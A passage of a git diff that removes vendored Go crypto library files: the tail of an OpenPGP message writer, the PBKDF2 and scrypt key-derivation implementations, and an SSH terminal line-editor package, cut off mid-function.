= uint32(hints.ModTime.Unix()) - } - literalData, err := packet.SerializeLiteral(w, hints.IsBinary, hints.FileName, epochSeconds) - if err != nil { - return nil, err - } - - if signer != nil { - return signatureWriter{payload, literalData, hash, hash.New(), signer, config}, nil - } - return literalData, nil -} - -// Encrypt encrypts a message to a number of recipients and, optionally, signs -// it. hints contains optional information, that is also encrypted, that aids -// the recipients in processing the message. The resulting WriteCloser must -// be closed after the contents of the file have been written. -// If config is nil, sensible defaults will be used. -func Encrypt(ciphertext io.Writer, to []*Entity, signed *Entity, hints *FileHints, config *packet.Config) (plaintext io.WriteCloser, err error) { - if len(to) == 0 { - return nil, errors.InvalidArgumentError("no encryption recipient provided") - } - - // These are the possible ciphers that we'll use for the message. - candidateCiphers := []uint8{ - uint8(packet.CipherAES128), - uint8(packet.CipherAES256), - uint8(packet.CipherCAST5), - } - // These are the possible hash functions that we'll use for the signature. - candidateHashes := []uint8{ - hashToHashId(crypto.SHA256), - hashToHashId(crypto.SHA384), - hashToHashId(crypto.SHA512), - hashToHashId(crypto.SHA1), - hashToHashId(crypto.RIPEMD160), - } - // In the event that a recipient doesn't specify any supported ciphers - // or hash functions, these are the ones that we assume that every - // implementation supports. - defaultCiphers := candidateCiphers[len(candidateCiphers)-1:] - defaultHashes := candidateHashes[len(candidateHashes)-1:] - - encryptKeys := make([]Key, len(to)) - for i := range to { - var ok bool - encryptKeys[i], ok = to[i].encryptionKey(config.Now()) - if !ok { - return nil, errors.InvalidArgumentError("cannot encrypt a message to key id " + strconv.FormatUint(to[i].PrimaryKey.KeyId, 16) + " because it has no encryption keys") - } - - sig := to[i].primaryIdentity().SelfSignature - - preferredSymmetric := sig.PreferredSymmetric - if len(preferredSymmetric) == 0 { - preferredSymmetric = defaultCiphers - } - preferredHashes := sig.PreferredHash - if len(preferredHashes) == 0 { - preferredHashes = defaultHashes - } - candidateCiphers = intersectPreferences(candidateCiphers, preferredSymmetric) - candidateHashes = intersectPreferences(candidateHashes, preferredHashes) - } - - if len(candidateCiphers) == 0 || len(candidateHashes) == 0 { - return nil, errors.InvalidArgumentError("cannot encrypt because recipient set shares no common algorithms") - } - - cipher := packet.CipherFunction(candidateCiphers[0]) - // If the cipher specified by config is a candidate, we'll use that. - configuredCipher := config.Cipher() - for _, c := range candidateCiphers { - cipherFunc := packet.CipherFunction(c) - if cipherFunc == configuredCipher { - cipher = cipherFunc - break - } - } - - symKey := make([]byte, cipher.KeySize()) - if _, err := io.ReadFull(config.Random(), symKey); err != nil { - return nil, err - } - - for _, key := range encryptKeys { - if err := packet.SerializeEncryptedKey(ciphertext, key.PublicKey, cipher, symKey, config); err != nil { - return nil, err - } - } - - payload, err := packet.SerializeSymmetricallyEncrypted(ciphertext, cipher, symKey, config) - if err != nil { - return - } - - return writeAndSign(payload, candidateHashes, signed, hints, config) -} - -// Sign signs a message. The resulting WriteCloser must be closed after the -// contents of the file have been written. hints contains optional information -// that aids the recipients in processing the message. -// If config is nil, sensible defaults will be used. -func Sign(output io.Writer, signed *Entity, hints *FileHints, config *packet.Config) (input io.WriteCloser, err error) { - if signed == nil { - return nil, errors.InvalidArgumentError("no signer provided") - } - - // These are the possible hash functions that we'll use for the signature. - candidateHashes := []uint8{ - hashToHashId(crypto.SHA256), - hashToHashId(crypto.SHA384), - hashToHashId(crypto.SHA512), - hashToHashId(crypto.SHA1), - hashToHashId(crypto.RIPEMD160), - } - defaultHashes := candidateHashes[len(candidateHashes)-1:] - preferredHashes := signed.primaryIdentity().SelfSignature.PreferredHash - if len(preferredHashes) == 0 { - preferredHashes = defaultHashes - } - candidateHashes = intersectPreferences(candidateHashes, preferredHashes) - return writeAndSign(noOpCloser{output}, candidateHashes, signed, hints, config) -} - -// signatureWriter hashes the contents of a message while passing it along to -// literalData. When closed, it closes literalData, writes a signature packet -// to encryptedData and then also closes encryptedData. -type signatureWriter struct { - encryptedData io.WriteCloser - literalData io.WriteCloser - hashType crypto.Hash - h hash.Hash - signer *packet.PrivateKey - config *packet.Config -} - -func (s signatureWriter) Write(data []byte) (int, error) { - s.h.Write(data) - return s.literalData.Write(data) -} - -func (s signatureWriter) Close() error { - sig := &packet.Signature{ - SigType: packet.SigTypeBinary, - PubKeyAlgo: s.signer.PubKeyAlgo, - Hash: s.hashType, - CreationTime: s.config.Now(), - IssuerKeyId: &s.signer.KeyId, - } - - if err := sig.Sign(s.h, s.signer, s.config); err != nil { - return err - } - if err := s.literalData.Close(); err != nil { - return err - } - if err := sig.Serialize(s.encryptedData); err != nil { - return err - } - return s.encryptedData.Close() -} - -// noOpCloser is like an ioutil.NopCloser, but for an io.Writer. -// TODO: we have two of these in OpenPGP packages alone. This probably needs -// to be promoted somewhere more common. -type noOpCloser struct { - w io.Writer -} - -func (c noOpCloser) Write(data []byte) (n int, err error) { - return c.w.Write(data) -} - -func (c noOpCloser) Close() error { - return nil -} diff --git a/vendor/golang.org/x/crypto/pbkdf2/pbkdf2.go b/vendor/golang.org/x/crypto/pbkdf2/pbkdf2.go deleted file mode 100644 index 593f653008..0000000000 --- a/vendor/golang.org/x/crypto/pbkdf2/pbkdf2.go +++ /dev/null @@ -1,77 +0,0 @@ -// Copyright 2012 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -/* -Package pbkdf2 implements the key derivation function PBKDF2 as defined in RFC -2898 / PKCS #5 v2.0. - -A key derivation function is useful when encrypting data based on a password -or any other not-fully-random data. It uses a pseudorandom function to derive -a secure encryption key based on the password. - -While v2.0 of the standard defines only one pseudorandom function to use, -HMAC-SHA1, the drafted v2.1 specification allows use of all five FIPS Approved -Hash Functions SHA-1, SHA-224, SHA-256, SHA-384 and SHA-512 for HMAC. To -choose, you can pass the `New` functions from the different SHA packages to -pbkdf2.Key. -*/ -package pbkdf2 // import "golang.org/x/crypto/pbkdf2" - -import ( - "crypto/hmac" - "hash" -) - -// Key derives a key from the password, salt and iteration count, returning a -// []byte of length keylen that can be used as cryptographic key. The key is -// derived based on the method described as PBKDF2 with the HMAC variant using -// the supplied hash function. -// -// For example, to use a HMAC-SHA-1 based PBKDF2 key derivation function, you -// can get a derived key for e.g. AES-256 (which needs a 32-byte key) by -// doing: -// -// dk := pbkdf2.Key([]byte("some password"), salt, 4096, 32, sha1.New) -// -// Remember to get a good random salt. At least 8 bytes is recommended by the -// RFC. -// -// Using a higher iteration count will increase the cost of an exhaustive -// search but will also make derivation proportionally slower. -func Key(password, salt []byte, iter, keyLen int, h func() hash.Hash) []byte { - prf := hmac.New(h, password) - hashLen := prf.Size() - numBlocks := (keyLen + hashLen - 1) / hashLen - - var buf [4]byte - dk := make([]byte, 0, numBlocks*hashLen) - U := make([]byte, hashLen) - for block := 1; block <= numBlocks; block++ { - // N.B.: || means concatenation, ^ means XOR - // for each block T_i = U_1 ^ U_2 ^ ... ^ U_iter - // U_1 = PRF(password, salt || uint(i)) - prf.Reset() - prf.Write(salt) - buf[0] = byte(block >> 24) - buf[1] = byte(block >> 16) - buf[2] = byte(block >> 8) - buf[3] = byte(block) - prf.Write(buf[:4]) - dk = prf.Sum(dk) - T := dk[len(dk)-hashLen:] - copy(U, T) - - // U_n = PRF(password, U_(n-1)) - for n := 2; n <= iter; n++ { - prf.Reset() - prf.Write(U) - U = U[:0] - U = prf.Sum(U) - for x := range U { - T[x] ^= U[x] - } - } - } - return dk[:keyLen] -} diff --git a/vendor/golang.org/x/crypto/scrypt/scrypt.go b/vendor/golang.org/x/crypto/scrypt/scrypt.go deleted file mode 100644 index 2f81fe4148..0000000000 --- a/vendor/golang.org/x/crypto/scrypt/scrypt.go +++ /dev/null @@ -1,213 +0,0 @@ -// Copyright 2012 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -// Package scrypt implements the scrypt key derivation function as defined in -// Colin Percival's paper "Stronger Key Derivation via Sequential Memory-Hard -// Functions" (https://www.tarsnap.com/scrypt/scrypt.pdf). -package scrypt // import "golang.org/x/crypto/scrypt" - -import ( - "crypto/sha256" - "errors" - "math/bits" - - "golang.org/x/crypto/pbkdf2" -) - -const maxInt = int(^uint(0) >> 1) - -// blockCopy copies n numbers from src into dst. -func blockCopy(dst, src []uint32, n int) { - copy(dst, src[:n]) -} - -// blockXOR XORs numbers from dst with n numbers from src. -func blockXOR(dst, src []uint32, n int) { - for i, v := range src[:n] { - dst[i] ^= v - } -} - -// salsaXOR applies Salsa20/8 to the XOR of 16 numbers from tmp and in, -// and puts the result into both tmp and out. -func salsaXOR(tmp *[16]uint32, in, out []uint32) { - w0 := tmp[0] ^ in[0] - w1 := tmp[1] ^ in[1] - w2 := tmp[2] ^ in[2] - w3 := tmp[3] ^ in[3] - w4 := tmp[4] ^ in[4] - w5 := tmp[5] ^ in[5] - w6 := tmp[6] ^ in[6] - w7 := tmp[7] ^ in[7] - w8 := tmp[8] ^ in[8] - w9 := tmp[9] ^ in[9] - w10 := tmp[10] ^ in[10] - w11 := tmp[11] ^ in[11] - w12 := tmp[12] ^ in[12] - w13 := tmp[13] ^ in[13] - w14 := tmp[14] ^ in[14] - w15 := tmp[15] ^ in[15] - - x0, x1, x2, x3, x4, x5, x6, x7, x8 := w0, w1, w2, w3, w4, w5, w6, w7, w8 - x9, x10, x11, x12, x13, x14, x15 := w9, w10, w11, w12, w13, w14, w15 - - for i := 0; i < 8; i += 2 { - x4 ^= bits.RotateLeft32(x0+x12, 7) - x8 ^= bits.RotateLeft32(x4+x0, 9) - x12 ^= bits.RotateLeft32(x8+x4, 13) - x0 ^= bits.RotateLeft32(x12+x8, 18) - - x9 ^= bits.RotateLeft32(x5+x1, 7) - x13 ^= bits.RotateLeft32(x9+x5, 9) - x1 ^= bits.RotateLeft32(x13+x9, 13) - x5 ^= bits.RotateLeft32(x1+x13, 18) - - x14 ^= bits.RotateLeft32(x10+x6, 7) - x2 ^= bits.RotateLeft32(x14+x10, 9) - x6 ^= bits.RotateLeft32(x2+x14, 13) - x10 ^= bits.RotateLeft32(x6+x2, 18) - - x3 ^= bits.RotateLeft32(x15+x11, 7) - x7 ^= bits.RotateLeft32(x3+x15, 9) - x11 ^= bits.RotateLeft32(x7+x3, 13) - x15 ^= bits.RotateLeft32(x11+x7, 18) - - x1 ^= bits.RotateLeft32(x0+x3, 7) - x2 ^= bits.RotateLeft32(x1+x0, 9) - x3 ^= bits.RotateLeft32(x2+x1, 13) - x0 ^= bits.RotateLeft32(x3+x2, 18) - - x6 ^= bits.RotateLeft32(x5+x4, 7) - x7 ^= bits.RotateLeft32(x6+x5, 9) - x4 ^= bits.RotateLeft32(x7+x6, 13) - x5 ^= bits.RotateLeft32(x4+x7, 18) - - x11 ^= bits.RotateLeft32(x10+x9, 7) - x8 ^= bits.RotateLeft32(x11+x10, 9) - x9 ^= bits.RotateLeft32(x8+x11, 13) - x10 ^= bits.RotateLeft32(x9+x8, 18) - - x12 ^= bits.RotateLeft32(x15+x14, 7) - x13 ^= bits.RotateLeft32(x12+x15, 9) - x14 ^= bits.RotateLeft32(x13+x12, 13) - x15 ^= bits.RotateLeft32(x14+x13, 18) - } - x0 += w0 - x1 += w1 - x2 += w2 - x3 += w3 - x4 += w4 - x5 += w5 - x6 += w6 - x7 += w7 - x8 += w8 - x9 += w9 - x10 += w10 - x11 += w11 - x12 += w12 - x13 += w13 - x14 += w14 - x15 += w15 - - out[0], tmp[0] = x0, x0 - out[1], tmp[1] = x1, x1 - out[2], tmp[2] = x2, x2 - out[3], tmp[3] = x3, x3 - out[4], tmp[4] = x4, x4 - out[5], tmp[5] = x5, x5 - out[6], tmp[6] = x6, x6 - out[7], tmp[7] = x7, x7 - out[8], tmp[8] = x8, x8 - out[9], tmp[9] = x9, x9 - out[10], tmp[10] = x10, x10 - out[11], tmp[11] = x11, x11 - out[12], tmp[12] = x12, x12 - out[13], tmp[13] = x13, x13 - out[14], tmp[14] = x14, x14 - out[15], tmp[15] = x15, x15 -} - -func blockMix(tmp *[16]uint32, in, out []uint32, r int) { - blockCopy(tmp[:], in[(2*r-1)*16:], 16) - for i := 0; i < 2*r; i += 2 { - salsaXOR(tmp, in[i*16:], out[i*8:]) - salsaXOR(tmp, in[i*16+16:], out[i*8+r*16:]) - } -} - -func integer(b []uint32, r int) uint64 { - j := (2*r - 1) * 16 - return uint64(b[j]) | uint64(b[j+1])<<32 -} - -func smix(b []byte, r, N int, v, xy []uint32) { - var tmp [16]uint32 - x := xy - y := xy[32*r:] - - j := 0 - for i := 0; i < 32*r; i++ { - x[i] = uint32(b[j]) | uint32(b[j+1])<<8 | uint32(b[j+2])<<16 | uint32(b[j+3])<<24 - j += 4 - } - for i := 0; i < N; i += 2 { - blockCopy(v[i*(32*r):], x, 32*r) - blockMix(&tmp, x, y, r) - - blockCopy(v[(i+1)*(32*r):], y, 32*r) - blockMix(&tmp, y, x, r) - } - for i := 0; i < N; i += 2 { - j := int(integer(x, r) & uint64(N-1)) - blockXOR(x, v[j*(32*r):], 32*r) - blockMix(&tmp, x, y, r) - - j = int(integer(y, r) & uint64(N-1)) - blockXOR(y, v[j*(32*r):], 32*r) - blockMix(&tmp, y, x, r) - } - j = 0 - for _, v := range x[:32*r] { - b[j+0] = byte(v >> 0) - b[j+1] = byte(v >> 8) - b[j+2] = byte(v >> 16) - b[j+3] = byte(v >> 24) - j += 4 - } -} - -// Key derives a key from the password, salt, and cost parameters, returning -// a byte slice of length keyLen that can be used as cryptographic key. -// -// N is a CPU/memory cost parameter, which must be a power of two greater than 1. -// r and p must satisfy r * p < 2Âŗâ°. If the parameters do not satisfy the -// limits, the function returns a nil byte slice and an error. -// -// For example, you can get a derived key for e.g. AES-256 (which needs a -// 32-byte key) by doing: -// -// dk, err := scrypt.Key([]byte("some password"), salt, 32768, 8, 1, 32) -// -// The recommended parameters for interactive logins as of 2017 are N=32768, r=8 -// and p=1. The parameters N, r, and p should be increased as memory latency and -// CPU parallelism increases; consider setting N to the highest power of 2 you -// can derive within 100 milliseconds. Remember to get a good random salt. -func Key(password, salt []byte, N, r, p, keyLen int) ([]byte, error) { - if N <= 1 || N&(N-1) != 0 { - return nil, errors.New("scrypt: N must be > 1 and a power of 2") - } - if uint64(r)*uint64(p) >= 1<<30 || r > maxInt/128/p || r > maxInt/256 || N > maxInt/128/r { - return nil, errors.New("scrypt: parameters are too large") - } - - xy := make([]uint32, 64*r) - v := make([]uint32, 32*N*r) - b := pbkdf2.Key(password, salt, 1, p*128*r, sha256.New) - - for i := 0; i < p; i++ { - smix(b[i*128*r:], r, N, v, xy) - } - - return pbkdf2.Key(password, b, 1, keyLen, sha256.New), nil -} diff --git a/vendor/golang.org/x/crypto/ssh/terminal/terminal.go b/vendor/golang.org/x/crypto/ssh/terminal/terminal.go deleted file mode 100644 index d1b4fca3a9..0000000000 --- a/vendor/golang.org/x/crypto/ssh/terminal/terminal.go +++ /dev/null @@ -1,979 +0,0 @@ -// Copyright 2011 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package terminal - -import ( - "bytes" - "io" - "runtime" - "strconv" - "sync" - "unicode/utf8" -) - -// EscapeCodes contains escape sequences that can be written to the terminal in -// order to achieve different styles of text. -type EscapeCodes struct { - // Foreground colors - Black, Red, Green, Yellow, Blue, Magenta, Cyan, White []byte - - // Reset all attributes - Reset []byte -} - -var vt100EscapeCodes = EscapeCodes{ - Black: []byte{keyEscape, '[', '3', '0', 'm'}, - Red: []byte{keyEscape, '[', '3', '1', 'm'}, - Green: []byte{keyEscape, '[', '3', '2', 'm'}, - Yellow: []byte{keyEscape, '[', '3', '3', 'm'}, - Blue: []byte{keyEscape, '[', '3', '4', 'm'}, - Magenta: []byte{keyEscape, '[', '3', '5', 'm'}, - Cyan: []byte{keyEscape, '[', '3', '6', 'm'}, - White: []byte{keyEscape, '[', '3', '7', 'm'}, - - Reset: []byte{keyEscape, '[', '0', 'm'}, -} - -// Terminal contains the state for running a VT100 terminal that is capable of -// reading lines of input. -type Terminal struct { - // AutoCompleteCallback, if non-null, is called for each keypress with - // the full input line and the current position of the cursor (in - // bytes, as an index into |line|). If it returns ok=false, the key - // press is processed normally. Otherwise it returns a replacement line - // and the new cursor position. - AutoCompleteCallback func(line string, pos int, key rune) (newLine string, newPos int, ok bool) - - // Escape contains a pointer to the escape codes for this terminal. - // It's always a valid pointer, although the escape codes themselves - // may be empty if the terminal doesn't support them. - Escape *EscapeCodes - - // lock protects the terminal and the state in this object from - // concurrent processing of a key press and a Write() call. - lock sync.Mutex - - c io.ReadWriter - prompt []rune - - // line is the current line being entered. - line []rune - // pos is the logical position of the cursor in line - pos int - // echo is true if local echo is enabled - echo bool - // pasteActive is true iff there is a bracketed paste operation in - // progress. - pasteActive bool - - // cursorX contains the current X value of the cursor where the left - // edge is 0. cursorY contains the row number where the first row of - // the current line is 0. - cursorX, cursorY int - // maxLine is the greatest value of cursorY so far. - maxLine int - - termWidth, termHeight int - - // outBuf contains the terminal data to be sent. - outBuf []byte - // remainder contains the remainder of any partial key sequences after - // a read. It aliases into inBuf. - remainder []byte - inBuf [256]byte - - // history contains previously entered commands so that they can be - // accessed with the up and down keys. - history stRingBuffer - // historyIndex stores the currently accessed history entry, where zero - // means the immediately previous entry. - historyIndex int - // When navigating up and down the history it's possible to return to - // the incomplete, initial line. That value is stored in - // historyPending. - historyPending string -} - -// NewTerminal runs a VT100 terminal on the given ReadWriter. If the ReadWriter is -// a local terminal, that terminal must first have been put into raw mode. -// prompt is a string that is written at the start of each input line (i.e. -// "> "). -func NewTerminal(c io.ReadWriter, prompt string) *Terminal { - return &Terminal{ - Escape: &vt100EscapeCodes, - c: c, - prompt: []rune(prompt), - termWidth: 80, - termHeight: 24, - echo: true, - historyIndex: -1, - } -} - -const ( - keyCtrlD = 4 - keyCtrlU = 21 - keyEnter = '\r' - keyEscape = 27 - keyBackspace = 127 - keyUnknown = 0xd800 /* UTF-16 surrogate area */ + iota - keyUp - keyDown - keyLeft - keyRight - keyAltLeft - keyAltRight - keyHome - keyEnd - keyDeleteWord - keyDeleteLine - keyClearScreen - keyPasteStart - keyPasteEnd -) - -var ( - crlf = []byte{'\r', '\n'} - pasteStart = []byte{keyEscape, '[', '2', '0', '0', '~'} - pasteEnd = []byte{keyEscape, '[', '2', '0', '1', '~'} -) - -// bytesToKey tries to parse a key sequence from b. If successful, it returns -// the key and the remainder of the input. Otherwise it returns utf8.RuneError. -func bytesToKey(b []byte, pasteActive bool) (rune, []byte) { - if len(b) == 0 { - return utf8.RuneError, nil - } - - if !pasteActive { - switch b[0] { - case 1: // ^A - return keyHome, b[1:] - case 5: // ^E - return keyEnd, b[1:] - case 8: // ^H - return keyBackspace, b[1:] - case 11: // ^K - return keyDeleteLine, b[1:] - case 12: // ^L - return keyClearScreen, b[1:] - case 23: // ^W - return keyDeleteWord, b[1:] - case 14: // ^N - return keyDown, b[1:] - case 16: // ^P - return keyUp, b[1:] - } - } - - if b[0] != keyEscape { - if !utf8.FullRune(b) { - return utf8.RuneError, b - } - r, l := utf8.DecodeRune(b) - return r, b[l:] - } - - if !pasteActive && len(b) >= 3 && b[0] == keyEscape && b[1] == '[' { - switch b[2] { - case 'A': - return keyUp, b[3:] - case 'B': - return keyDown, b[3:] - case 'C': - return keyRight, b[3:] - case 'D': - return keyLeft, b[3:] - case 'H': - return keyHome, b[3:] - case 'F': - return keyEnd, b[3:] - } - } - - if !pasteActive && len(b) >= 6 && b[0] == keyEscape && b[1] == '[' && b[2] == '1' && b[3] == ';' && b[4] == '3' { - switch b[5] { - case 'C': - return keyAltRight, b[6:] - case 'D': - return keyAltLeft, b[6:] - } - } - - if !pasteActive && len(b) >= 6 && bytes.Equal(b[:6], pasteStart) { - return keyPasteStart, b[6:] - } - - if pasteActive && len(b) >= 6 && bytes.Equal(b[:6], pasteEnd) { - return keyPasteEnd, b[6:] - } - - // If we get here then we have a key that we don't recognise, or a - // partial sequence. It's not clear how one should find the end of a - // sequence without knowing them all, but it seems that [a-zA-Z~] only - // appears at the end of a sequence. - for i, c := range b[0:] { - if c >= 'a' && c <= 'z' || c >= 'A' && c <= 'Z' || c == '~' { - return keyUnknown, b[i+1:] - } - } - - return utf8.RuneError, b -} - -// queue appends data to the end of t.outBuf -func (t *Terminal) queue(data []rune) { - t.outBuf = append(t.outBuf, []byte(string(data))...) -} - -var eraseUnderCursor = []rune{' ', keyEscape, '[', 'D'} -var space = []rune{' '} - -func isPrintable(key rune) bool { - isInSurrogateArea := key >= 0xd800 && key <= 0xdbff - return key >= 32 && !isInSurrogateArea -} - -// moveCursorToPos appends data to t.outBuf which will move the cursor to the -// given, logical position in the text. -func (t *Terminal) moveCursorToPos(pos int) { - if !t.echo { - return - } - - x := visualLength(t.prompt) + pos - y := x / t.termWidth - x = x % t.termWidth - - up := 0 - if y < t.cursorY { - up = t.cursorY - y - } - - down := 0 - if y > t.cursorY { - down = y - t.cursorY - } - - left := 0 - if x < t.cursorX { - left = t.cursorX - x - } - - right := 0 - if x > t.cursorX { - right = x - t.cursorX - } - - t.cursorX = x - t.cursorY = y - t.move(up, down, left, right) -} - -func (t *Terminal) move(up, down, left, right int) { - m := []rune{} - - // 1 unit up can be expressed as ^[[A or ^[A - // 5 units up can be expressed as ^[[5A - - if up == 1 { - m = append(m, keyEscape, '[', 'A') - } else if up > 1 { - m = append(m, keyEscape, '[') - m = append(m, []rune(strconv.Itoa(up))...) - m = append(m, 'A') - } - - if down == 1 { - m = append(m, keyEscape, '[', 'B') - } else if down > 1 { - m = append(m, keyEscape, '[') - m = append(m, []rune(strconv.Itoa(down))...) - m = append(m, 'B') - } - - if right == 1 { - m = append(m, keyEscape, '[', 'C') - } else if right > 1 { - m = append(m, keyEscape, '[') - m = append(m, []rune(strconv.Itoa(right))...) - m = append(m, 'C') - } - - if left == 1 { - m = append(m, keyEscape, '[', 'D') - } else if left > 1 { - m = append(m, keyEscape, '[') - m = append(m, []rune(strconv.Itoa(left))...) - m = append(m, 'D') - } - - t.queue(m) -} - -func (t *Terminal) clearLineToRight() { - op := []rune{keyEscape, '[', 'K'} - t.queue(op) -} - -const maxLineLength = 4096 - -func (t *Terminal) setLine(newLine []rune, newPos int) { - if t.echo { - t.moveCursorToPos(0) - t.writeLine(newLine) - for i := len(newLine); i < len(t.line); i++ { - t.writeLine(space) - } - t.moveCursorToPos(newPos) - } - t.line = newLine - t.pos = newPos -} - -func (t *Terminal) advanceCursor(places int) { - t.cursorX += places - t.cursorY += t.cursorX / t.termWidth - if t.cursorY > t.maxLine { - t.maxLine = t.cursorY - } - t.cursorX = t.cursorX % t.termWidth - - if places > 0 && t.cursorX == 0 { - // Normally terminals will advance the current position - // when writing a character. But that doesn't happen - // for the last character in a line. However, when - // writing a character (except a new line) that causes - // a line wrap, the position will be advanced two - // places. - // - // So, if we are stopping at the end of a line, we - // need to write a newline so that our cursor can be - // advanced to the next line. - t.outBuf = append(t.outBuf, '\r', '\n') - } -} - -func (t *Terminal) eraseNPreviousChars(n int) { - if n == 0 { - return - } - - if t.pos < n { - n = t.pos - } - t.pos -= n - t.moveCursorToPos(t.pos) - - copy(t.line[t.pos:], t.line[n+t.pos:]) - t.line = t.line[:len(t.line)-n] - if t.echo { - t.writeLine(t.line[t.pos:]) - for i := 0; i < n; i++ { - t.queue(space) - } - t.advanceCursor(n) - t.moveCursorToPos(t.pos) - } -} - -// countToLeftWord returns then number of characters from the cursor to the -// start of the previous word. -func (t *Terminal) countToLeftWord() int { - if t.pos == 0 { - return 0 - } - - pos := t.pos - 1 - for pos > 0 { - if t.line[pos] != ' ' { - break - } - pos-- - } - for pos > 0 { - if t.line[pos] == ' ' { - pos++ - break - } - pos-- - } - - return t.pos - pos -} - -// countToRightWord returns then number of characters from the cursor to the -// start of the next word. -func (t *Terminal) countToRightWord() int { - pos := t.pos - for pos < len(t.line) { - if t.line[pos] == ' ' { - break - } - pos++ - } - for pos < len(t.line) { - if t.line[pos] != ' ' { - break - } - pos++ - } - return pos - t.pos -} - -// visualLength returns the number of visible glyphs in s. -func visualLength(runes []rune) int { - inEscapeSeq := false - length := 0 - - for _, r := range runes { - switch { - case inEscapeSeq: - if (r >= 'a' && r <= 'z') || (r >= 'A' && r <= 'Z') { - inEscapeSeq = false - } - case r == '\x1b': - inEscapeSeq = true - default: - length++ - } - } - - return length -} - -// handleKey processes the given key and, optionally, returns a line of text -// that the user has entered. -func (t *Terminal) handleKey(key rune) (line string, ok bool) { - if t.pasteActive && key != keyEnter { - t.addKeyToLine(key) - return - } - - switch key { - case keyBackspace: - if t.pos == 0 { - return - } - t.eraseNPreviousChars(1) - case keyAltLeft: - // move left by a word. - t.pos -= t.countToLeftWord() - t.moveCursorToPos(t.pos) - case keyAltRight: - // move right by a word. - t.pos += t.countToRightWord() - t.moveCursorToPos(t.pos) - case keyLeft: - if t.pos == 0 { - return - } - t.pos-- - t.moveCursorToPos(t.pos) - case keyRight: - if t.pos == len(t.line) { - return - } - t.pos++ - t.moveCursorToPos(t.pos) - case keyHome: - if t.pos == 0 { - return - } - t.pos = 0 - t.moveCursorToPos(t.pos) - case keyEnd: - if t.pos == len(t.line) { - return - } - t.pos = len(t.line) - t.moveCursorToPos(t.pos) - case keyUp: - entry, ok := t.history.NthPreviousEntry(t.historyIndex + 1) - if !ok { - return "", false - } - if t.historyIndex == -1 { - t.historyPending = string(t.line) - } - t.historyIndex++ - runes := []rune(entry) - t.setLine(runes, len(runes)) - case keyDown: - switch t.historyIndex { - case -1: - return - case 0: - runes := []rune(t.historyPending) - t.setLine(runes, len(runes)) - t.historyIndex-- - default: - entry, ok := t.history.NthPreviousEntry(t.historyIndex - 1) - if ok { - t.historyIndex-- - runes := []rune(entry) - t.setLine(runes, len(runes)) - } - } - case keyEnter: - t.moveCursorToPos(len(t.line)) - t.queue([]rune("\r\n")) - line = string(t.line) - ok = true - t.line = t.line[:0] - t.pos = 0 - t.cursorX = 0 - t.cursorY = 0 - t.maxLine = 0 - case keyDeleteWord: - // Delete zero or more spaces and then one or more characters. - t.eraseNPreviousChars(t.countToLeftWord()) - case keyDeleteLine: - // Delete everything from the current cursor position to the - // end of line. - for i := t.pos; i < len(t.line); i++ { - t.queue(space) - t.advanceCursor(1) - } - t.line = t.line[:t.pos] - t.moveCursorToPos(t.pos) - case keyCtrlD: - // Erase the character under the current position. - // The EOF case when the line is empty is handled in - // readLine(). - if t.pos < len(t.line) { - t.pos++ - t.eraseNPreviousChars(1) - } - case keyCtrlU: - t.eraseNPreviousChars(t.pos) - case keyClearScreen: - // Erases the screen and moves the cursor to the home position. - t.queue([]rune("\x1b[2J\x1b[H")) - t.queue(t.prompt) - t.cursorX, t.cursorY = 0, 0 - t.advanceCursor(visualLength(t.prompt)) - t.setLine(t.line, t.pos) - default: - if t.AutoCompleteCallback != nil { - prefix := string(t.line[:t.pos]) - suffix := string(t.line[t.pos:]) - - t.lock.Unlock() - newLine, newPos, completeOk := t.AutoCompleteCallback(prefix+suffix, len(prefix), key) - t.lock.Lock() - - if completeOk { - t.setLine([]rune(newLine), utf8.RuneCount([]byte(newLine)[:newPos])) - return - } - } - if !isPrintable(key) { - return - } - if len(t.line) == maxLineLength { - return - } - t.addKeyToLine(key) - } - return -} - -// addKeyToLine inserts the given key at the current position in the current -// line. -func (t *Terminal) addKeyToLine(key rune) { - if len(t.line) == cap(t.line) { - newLine := make([]rune, len(t.line), 2*(1+len(t.line))) - copy(newLine, t.line) - t.line = newLine - } - t.line = t.line[:len(t.line)+1] - copy(t.line[t.pos+1:], t.line[t.pos:]) - t.line[t.pos] = key - if t.echo { - t.writeLine(t.line[t.pos:]) - } - t.pos++ - t.moveCursorToPos(t.pos) -} - -func (t *Terminal) writeLine(line []rune) { - for len(line) != 0 { - remainingOnLine := t.termWidth - t.cursorX - todo := len(line) - if todo > remainingOnLine { - todo = remainingOnLine - } - t.queue(line[:todo]) - t.advanceCursor(visualLength(line[:todo])) - line = line[todo:] - } -} - -// writeWithCRLF writes buf to w but replaces all occurrences of \n with \r\n. -func writeWithCRLF(w io.Writer, buf []byte) (n int, err error) { - for len(buf) > 0 { - i := bytes.IndexByte(buf, '\n') - todo := len(buf) - if i >= 0 { - todo = i - } - - var nn int - nn, err = w.Write(buf[:todo]) - n += nn - if err != nil { - return n, err - } - buf = buf[todo:] - - if i >= 0 { - if _, err = w.Write(crlf); err != nil { - return n, err - } - n++ - buf = buf[1:] - } - } - - return n, nil -} - -func (t *Terminal) Write(buf []byte) (n int, err error) { - t.lock.Lock() - defer t.lock.Unlock() - - if t.cursorX == 0 && t.cursorY == 0 { - // This is the easy case: there's nothing on the screen that we - // have to move out of the way. - return writeWithCRLF(t.c, buf) - } - - // We have a prompt and possibly user input on the screen. We - // have to clear it first. - t.move(0 /* up */, 0 /* down */, t.cursorX /* left */, 0 /* right */) - t.cursorX = 0 - t.clearLineToRight() - - for t.cursorY > 0 { - t.move(1 /* up */, 0, 0, 0) - t.cursorY-- - t.clearLineToRight() - } - - if _, err = t.c.Write(t.outBuf); err != nil { - return - } - t.outBuf = t.outBuf[:0] - - if n, err = writeWithCRLF(t.c, buf); err != nil { - return - } - - t.writeLine(t.prompt) - if t.echo { - t.writeLine(t.line) - } - - t.moveCursorToPos(t.pos) - - if _, err = t.c.Write(t.outBuf); err != nil { - return - } - t.outBuf = t.outBuf[:0] - return -} - -// ReadPassword temporarily changes the prompt and reads a password, without -// echo, from the terminal. -func (t *Terminal) ReadPassword(prompt string) (line string, err error) { - t.lock.Lock() - defer t.lock.Unlock() - - oldPrompt := t.prompt - t.prompt = []rune(prompt) - t.echo = false - - line, err = t.readLine() - - t.prompt = oldPrompt - t.echo = true - - return -} - -// ReadLine returns a line of input from the terminal. -func (t *Terminal) 